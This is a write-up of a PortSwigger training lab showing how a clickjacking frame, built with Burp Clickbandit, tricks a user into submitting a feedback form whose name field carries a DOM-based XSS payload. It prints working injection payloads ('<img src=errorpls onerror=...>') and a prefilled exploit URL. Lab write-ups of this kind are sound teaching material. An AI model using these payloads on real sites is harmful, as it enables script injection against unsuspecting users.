Exploiting clickjacking vulnerability to trigger DOM-based XSS | Jan 2, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting clickjacking vulnerability to trigger DOM-based XSS! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the “Click me” button to call the print()
function.
Exploitation
Home page:
Feedback page:
In here, we can submit a feedback to the back-end.
Let’s try to submit a test feedback:
When we clicked the “Submit feedback” button, it’ll display our name.
View source page:
<form id="feedbackForm" action="/feedback/submit" method="POST" enctype="application/x-www-form-urlencoded" personal="true">
<input required type="hidden" name="csrf" value="BX4Ak51cXyol4PcY7g5vtLn4JKtYucEo">
<label>Name:</label>
<input required type="text" name="name">
<label>Email:</label>
<input required type="email" name="email">
<label>Subject:</label>
<input required type="text" name="subject">
<label>Message:</label>
<textarea required rows="12" cols="300" name="message"></textarea>
<button class="button" type="submit">
Submit feedback
</button>
<span id="feedbackResult"></span>
</form>
<script src="/resources/js/submitFeedback.js"></script>
/resources/js/submitFeedback.js
:
document.getElementById("feedbackForm").addEventListener("submit", function(e) {
submitFeedback(this.getAttribute("method"), this.getAttribute("action"), this.getAttribute("enctype"), this.getAttribute("personal"), new FormData(this));
e.preventDefault();
});
function submitFeedback(method, path, encoding, personal, data) {
var XHR = new XMLHttpRequest();
XHR.open(method, path);
if (personal) {
XHR.addEventListener("load", displayFeedbackMessage(data.get('name')));
} else {
XHR.addEventListener("load", displayFeedbackMessage());
}
if (encoding === "multipart/form-data") {
XHR.send(data)
} else {
var params = new URLSearchParams(data);
XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
XHR.send(params.toString())
}
}
function displayFeedbackMessage(name) {
return function() {
var feedbackResult = document.getElementById("feedbackResult");
if (this.status === 200) {
feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";
feedbackForm.reset();
} else {
feedbackResult.innerHTML = "Failed to submit feedback: " + this.responseText
}
}
}
In here, function displayFeedbackMessage(name)
looks interesting:
feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";
It’s using innerHTML
sink (Dangerous function), and our source (user input) is directly parsed to that sink without HTML encoded, escaped, sanitized.
That being said, if the back-end didn’t do any input validations, it’s very likely to be vulnerable to DOM-based XSS (Cross-Site Scripting).
Let’s test for XSS in the name
field:
<img src=errorpls onerror=alert(document.domain)>
Nice! We successfully exploited DOM-based XSS.
Now, we can combine DOM-based XSS and clickjacking.
First, we need to prepopulate the XSS payload via providing a GET parameter name
and other required parameters:
/feedback?name=<img src=errorpls onerror=print()>&email=attacker@evil.com&subject=subject&message=message
Then, we can craft the HTML payload that tricks users to click on the “Submit feedback” button.
However, instead of crafting it manually, we can use Burp Suite’s Clickbandit:
Click “Start”:
Click the “Submit feedback” button:
Then click the “Finish” button:
After that, turn off transparency, and click “Save”:
Now we can test it works or not:
It worked!
Finally, go to exploit server to host our clickjacking payload, and deilver to victim:
Nice!
What we’ve learned:
- Exploiting clickjacking vulnerability to trigger DOM-based XSS